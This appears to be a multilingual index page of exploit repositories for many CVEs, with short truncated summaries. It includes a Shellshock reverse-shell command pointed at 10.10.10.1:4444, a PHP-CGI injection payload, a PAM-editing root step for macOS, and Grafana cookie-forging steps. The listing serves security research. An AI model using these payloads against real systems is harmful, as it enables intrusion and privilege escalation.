CVE-2025-27591

CVE-2025-27591 - 通过 below 实现权限提升 该仓库包含针对 CVE-2025-27591 的利用代码，这是 Linux 监控工具 Below 中的一个权限提升漏洞。 🛠️ 漏洞详情 CVE ：CVE-2025-27591 CVSS 评分 ：7.8（高危） 受影响工具 ：below（v0.9.0 之前版本） 漏洞描述 ：Below 以 root 身份创建了全局可写的目录和日志文件（/var/log/below/errorroot.log），允许低权限用户进行符号链接攻击。 发现时间 ：2025 年 1 月 公布时间 ：2025 年 3 月 12 日 来源...

CVE-2020-0688

CVE-2020-0688 Microsoft Exchange Server 固定暗号鍵によるリモートコード実行 RCE インストールごとにランダムに生成されたキーを使用する代わりに、すべてのMicrosoft Exchange Serverインストールは、web.config内で同じ validationKey と decryptionKey の値を持っています。そのため、 認証された 攻撃者は、悪意を持って作成されたViewStateデータを逆シリアル化するようにサーバーを騙すことができます。YSoSerial.net...

ClearML-CVE-2024-24590-RCE

Clearml-CVE-2024-24590 CVE-2024-24590 は、サーバー側で不適切なデシリアライゼーションが行われる場合に悪用される可能性がある脆弱性で、ここでは Clearml が該当します。 攻撃者が悪意のある Pickle ファイルを作成すると、その Pickle ファイルをデシリアライズする被害者の環境で任意のコードを実行できます。これは、リモートコマンド実行のためのリバースシェルへと発展する可能性があります。 clearml ライブラリのインストールを忘れないでください root@kitploit: python -m venv .g source...

CVE-2024-9441

CVE-2024-9441 脆弱性の説明: このコードは、PHPベースのWebアプリケーションにおける不適切な入力サニタイズに起因するリモートコード実行（RCE）脆弱性を悪用します。具体的な脆弱性は「パスワードリセット」機能（index.php?c=user&m=forgotpassword）にあり、ユーザー入力が適切にサニタイズされないため、攻撃者が任意のPHPコードをサーバーに注入することが可能です。 このスクリプトは、PHPベースのアプリケーションの脆弱性を悪用して、悪意のあるPHPスクリプトをサーバーにアップロードし、HTTPリクエスト経由でシステムコマンドを実行します。 使用手...

CVE-2014-6271

CVE-2014-6271 python2.7 お使いのマシンでリッスンを開始します。 root@kitploit: nc -l -p 4444 以下のルールに従ってpythonスクリプトを実行します： python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 お楽しみください...

CVE-2025-24893

CVE-2025-24893 root@kitploit: Exploit Title: XWiki 15.10.10 - Unauthenticated Remote Code Execution Date: 09/08/2025 Exploit Author: D3Ext Vendor Homepage: https://www.xwiki.org/ Software Link: https://github.com/xwiki/xwiki-platform Version: 15.10.10 Tested on: Kali Linux 2025 CVE: CVE-2025-2489...

grafana-CVE-2018-15727

Grafana CVE-2018-15727 漏洞利用工具 安装 root@kitploit: $ go get github.com/u238/grafana-CVE-2018-15727 使用 root@kitploit: $ source go env $ $GOPATH/bin/grafana-CVE-2018-15727 ldapadmin i 从浏览器会话中删除 grafanasess cookie i 在浏览器中设置以下 cookies: 针对 Grafana 5.x： grafanauser : ldapadmin grafanaremember :...

CVE-2020-27199

CVE-2020-27199 Magic Home Pro - 认证绕过 在 Magic Home Pro 移动应用中发现多个漏洞，该应用用于与 JadeHomic LED Strip RGB 套件交互。其中最严重的漏洞是认证绕过漏洞 CVE-2020-27199，该漏洞最终允许完全接管和控制受害者的整个设备组。 以下详细介绍了导致最终利用的枚举步骤，以及用于实施枚举和最终利用的 PoC 材料。 PoC 文件 magichome-forge.py - JWT 伪造器，用于自动化设备接管 magichome-sniffer.py -...

CVE-2018-11776

CVE-2018-11776 概念验证（PoC）漏洞利用代码，以便我能快速评估有哪些可用的防护和修复方案。 最初由 Semmle 的 Man Yue Mo 发现：https://semmle.com/news/apache-struts-CVE-2018-11776 Semmle 曾将 "Apache Struts RCE - CVE-2018-11776 - PoC Exploit Demo" 的 YouTube 视频上传过一阵子，但我觉得它已经下架了，或者至少不再链接到 Semmle：https://www.youtube.com/watch?v=5SDNX20SLJ0...

PHP-FPM-Remote-Code-Execution-Vulnerability-CVE-2019-11043-

CVE-2019-11043 1.脆弱性の説明 Nginx上でfastcgi split path infoが%0aを含むリクエストを処理する際、改行文字\nによりPATH INFOが空になります。php-fpmはPATH INFOが空の場合、論理的な欠陥が存在します。攻撃者は巧妙に構築して利用することで、リモートコード実行を引き起こす可能性があります。 影響範囲 Nginx + php-fpm のサーバーで、以下の設定を使用している場合、リモートコード実行の脆弱性が存在する可能性があります。 location ^ /小.php/|$ fastcgi split path info ^....

CVE-2024-53691

CVE-2024-53691 https://www.qnap.com/en/security-advisory/qsa-24-28 https://vulners.com/cve/CVE-2024-53691 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 8.7 "如果被利用，此链接跟随漏洞可能允许已获得用户访问权限的远程攻击者遍历文件系统到非预期位置。" 发现日期： 22 April 2024 修复日期： 7 September 2024 受影响版本： QTS 5.1.x, QuTS hero h5.1...

MacDirtyCowDemo

macOS 13.0.1 で CVE-2022-46689（Dirty Cow バグの macOS 版）を使って root を取得します。Apple の XNU ソース から抽出したテストケースを使用します。 https://worthdoingbadly.com/macdirtycow/ 使い方 macOS 13.0.1 / 12.6.1（またはそれ以下）のマシンで、次を実行します： root@kitploit: clang -o switcharoo vmunalignedcopyswitchrace.c sed -e "s/rootok/permit/g" /etc/pam.d/s...

CVE-2024-4577-nuclei

CVE-2024-4577-nuclei Payload: root@kitploit: ?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input root@kitploit: Test URL: root@kitploit: /unfxu9a.phppayload /php-cgi/unfxu9a.phppayload /cgi-bin/php-cgi.exepayload /php-cgi/php-cgi.exepayload /php-cgi/php.exepayload /cgi-bin/php.exepayload...

CVE-2018-14714-POC

CVE-2018-14714-POC 2020年4月25日, Altin Thartori, github.com/tin-z 脆弱性の詳細 ASUS RT-AC3200 バージョン 3.0.0.4.382.50010 の appGet.cgi におけるシステムコマンドインジェクションにより、攻撃者は "loadscript" URLパラメータを介してシステムコマンドを実行できます。 CVE-2018-14714 のリファレンス:...

CVE-2023-4911-PoC

GNU C Libraryの動的ローダーの脆弱性 CVE-2023-4911 概要 GNU C Library glibc は、GNUシステムにおけるCライブラリとして機能し、Linuxベースのシステムに不可欠です。その中核として、glibcは、システムコールやopen、malloc、printf、exitなどの一般的な関数を含む、プログラムに必須の機能を定義しています。glibcの重要な構成要素である動的ローダーは、共有ライブラリを管理し、実行時にそれらをリンクすることで、プログラムの準備と実行において重要な役割を果たします。 GLIBCTUNABLES環境変数...

CVE-2021-41773

针对 CVE-2021-41773 Apache 路径遍历漏洞的易受攻击的 Docker 镜像 该漏洞 仅 适用于具有特定非默认配置的 2.4.49 版本。在某些情况下，这可能导致文件读取或代码执行。 https://twitter.com/ptswarm/status/1445376079548624899 易受攻击的文件读取配置 容器可以直接从 Docker Hub 拉取，使用 docker pull blueteamsteve/cve-2021-41773:no-cgid 并执行 docker run -dit -p 8080:80...

unomi_exploit

免責事項 ここに提供される脆弱性検出方法、ファイルなどはすべて、セキュリティ従事者が法的な許可を得た上で、許可されたサーバーの安全性を検出する目的でのみ使用されます。セキュリティ従事者は法律を遵守し、許可なく脆弱性検出を行わないようにしなければなりません。 概要 参考リンク https://vulners.com/cve/CVE-2020-13942 https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/ http://unomi.apache.or...

gpasskey

======== gpasskey .. image:: https://gitlab.com/renich/gpasskey/-/raw/master/assets/banner.svg :width: 100% :align: center :alt: gpasskey banner | .. image:: https://gitlab.com/renich/gpasskey/badges/master/pipeline.svg :target: https://gitlab.com/renich/gpasskey/-/commits/master :alt: pipeline...

CVE-2019-11043

PoC CVE-2019-11043 CVE-2019-11043 エクスプロイトの Python 版 https://github.com/neex/phuip-fpizdam この PoC はまだドラフトです。@neex が作成したエクスプロイトを使用してください。 脆弱性分析: https://paper.seebug.org/1064/ PoC のセットアップ nginx と php-fpm を起動するには、docker compose を実行するだけです: root@kitploit: docker-compose up -d Creating network...

FREAK-Attack-CVE-2015-0204-Testing-Script

FREAK 攻击 CVE-2015-0204 测试脚本 基于 Akamai 建议的 OpenSSL FREAK 攻击（CVE-2015-0204）自动化测试基础 BASH 脚本。它是自由软件，无需在其他人的服务器上运行。在正常情况下，你的服务器在 SSL Labs 测试中必须获得 A+ 评级，并且应被列为 HSTS 预加载列表中的网站以增强安全性。 除了知名的网络服务提供商，不要在 SSL Lab 上对某个混蛋的服务器测试你自己的网站。先测试那个服务器，发现其网站存在安全漏洞并不罕见。 该脚本按照 Akamai...